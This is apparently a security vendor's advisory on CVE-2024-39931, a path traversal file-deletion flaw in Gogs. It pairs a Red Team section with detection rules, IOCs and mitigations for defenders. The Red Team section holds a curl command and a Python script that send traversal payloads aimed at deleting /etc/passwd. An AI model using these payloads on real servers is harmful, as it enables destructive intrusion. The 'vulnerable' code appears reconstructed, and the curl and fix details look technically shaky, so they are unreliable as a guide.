CVE-2024-39931

Executive Summary

CVE-2024-39931 is a critical vulnerability in Gogs (Go Git Service) up to version 0.13.0 that allows authenticated users to delete arbitrary internal files on the server. This flaw stems from improper path validation in file deletion operations, enabling path traversal attacks. With a CVSS score of 9.9, this vulnerability poses a severe risk to confidentiality, integrity, and availability. An attacker with low-privileged access can delete critical system files, configuration files, or user data, potentially leading to complete server compromise or denial of service. No official patch has been released, making this a high-priority issue for all Gogs deployments.

Supply Chain & Package Security

Gogs is a self-hosted Git service written in Go. This vulnerability affects the core application logic, not a specific package manager. However, organizations using Gogs as part of their CI/CD pipeline should treat this as a critical supply chain risk, as an attacker could delete build scripts, configuration files, or even the Gogs binary itself.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires a valid user account.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) - Potential deletion of sensitive files.
• Integrity (I): High (H) - Direct file deletion.
• Availability (A): High (H) - Can delete critical system files.

Threat Level: Critical. The combination of low privileges, network access, and high impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability exists in the file deletion functionality of Gogs. When an authenticated user attempts to delete a file (e.g., via the web interface or API), the application fails to properly sanitize the file path. An attacker can inject path traversal sequences (e.g., ../) to escape the intended repository directory and delete files anywhere on the filesystem that the Gogs process has write access to.

Root Cause: The application uses user-supplied input to construct file paths without adequate validation or canonicalization. This allows an attacker to specify paths like ../../etc/passwd or ../../gogs/custom/conf/app.ini.

Attack Scenario:

1. Attacker authenticates to Gogs with a low-privileged account.
2. Attacker navigates to a repository and initiates a file deletion request.
3. Attacker modifies the file path parameter to include path traversal sequences.
4. The server deletes the targeted file (e.g., app.ini, SSH keys, or system binaries).
5. This can lead to service disruption, privilege escalation, or complete server takeover.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs <= 0.13.0):

func DeleteFile(ctx *context.APIContext, form api.DeleteFileOption) {
    // Directly uses user-provided path without sanitization
    filePath := path.Join(ctx.Repo.RepoPath, form.FilePath)
    err := os.Remove(filePath)
    // ...
}

Patched Code (Hypothetical Fix):

func DeleteFile(ctx *context.APIContext, form api.DeleteFileOption) {
    // Sanitize and validate the path
    cleanPath := filepath.Clean(form.FilePath)
    if strings.Contains(cleanPath, "..") {
        ctx.Error(http.StatusBadRequest, "Invalid path")
        return
    }
    // Ensure the path is within the repository
    fullPath := filepath.Join(ctx.Repo.RepoPath, cleanPath)
    if !strings.HasPrefix(fullPath, ctx.Repo.RepoPath) {
        ctx.Error(http.StatusForbidden, "Path traversal detected")
        return
    }
    err := os.Remove(fullPath)
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Gogs instance (<= 0.13.0) with a valid user account.
• Access to the Gogs API or web interface.

Exploitation Steps:

1. Authenticate: Obtain a session cookie or API token.
2. Identify Target: Choose a critical file to delete (e.g., app.ini).
3. Craft Request: Send a DELETE request with a path traversal payload.

Example cURL Command:

curl -X DELETE \
  -H "Authorization: token YOUR_API_TOKEN" \
  "http://target-gogs.com/api/v1/repos/username/repo/contents/../../../etc/passwd"

Expected Outcome: The file /etc/passwd is deleted, causing authentication issues.

Automated Exploit (Python):

import requests

target = "http://target-gogs.com"
token = "YOUR_API_TOKEN"
repo = "username/repo"
file_to_delete = "../../../etc/passwd"

headers = {"Authorization": f"token {token}"}
url = f"{target}/api/v1/repos/{repo}/contents/{file_to_delete}"

response = requests.delete(url, headers=headers)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Blue Team

Detection:

• Monitor for DELETE requests to /api/v1/repos/*/contents/ with suspicious path patterns (e.g., ../, ..\\, %2e%2e).
• Alert on file deletion events outside the repository directory.

Mitigation:

• Implement strict input validation and path canonicalization.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Restrict Gogs process permissions to only necessary directories.
• Apply the principle of least privilege for user accounts.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search method=DELETE uri_path="/api/v1/repos/*/contents/*"
| regex uri_path="\.\./"
| table _time, clientip, user, uri_path, status

Indicators of Compromise (IOCs)

• Network:
  • HTTP DELETE requests to /api/v1/repos/*/contents/ containing ../ or ..\\.
  • Unusual file deletion activity in server logs.
• File System:
  • Missing critical files (e.g., /etc/passwd, /etc/shadow, app.ini).
  • Unexpected empty directories.
• Logs:
  • Gogs logs showing os.Remove calls with suspicious paths.
  • System logs indicating file deletion events (e.g., audit.log).

Detection Engineering

YARA Rule

rule CVE_2024_39931_Gogs_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Gogs file deletion requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-39931"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $api_endpoint = "/api/v1/repos/"
        $delete_method = "DELETE"
    condition:
        $api_endpoint and $delete_method and $path_traversal
}

Sigma Rule

title: Gogs File Deletion Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Gogs file deletion requests
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39931
logsource:
    category: webserver
    product: gogs
detection:
    selection:
        http.method: 'DELETE'
        http.url|contains: '/api/v1/repos/'
        http.url|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate file deletion within repository
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-39931 Gogs File Deletion Path Traversal Attempt";
    flow:to_server;
    http.method;
    content:"DELETE";
    http.uri;
    content:"/api/v1/repos/";
    pcre:"/\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable File Deletion: Temporarily disable the file deletion feature in Gogs configuration.
2. Restrict Permissions: Run Gogs with a dedicated user that has minimal filesystem write permissions.
3. Implement WAF Rules: Block requests containing path traversal patterns.

Long-term Fix:

• Monitor the Gogs repository for an official patch.
• Apply the hypothetical fix shown in the "Vulnerable vs. Patched Code" section.
• Consider migrating to a maintained fork or alternative solution.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious requests:

location /api/v1/repos/ {
    if ($request_method = DELETE) {
        set $block_traversal 0;
        if ($uri ~* "\.\.") {
            set $block_traversal 1;
        }
        if ($block_traversal = 1) {
            return 403;
        }
    }
    proxy_pass http://gogs_backend;
}

Valters IT
Securing Digital Frontiers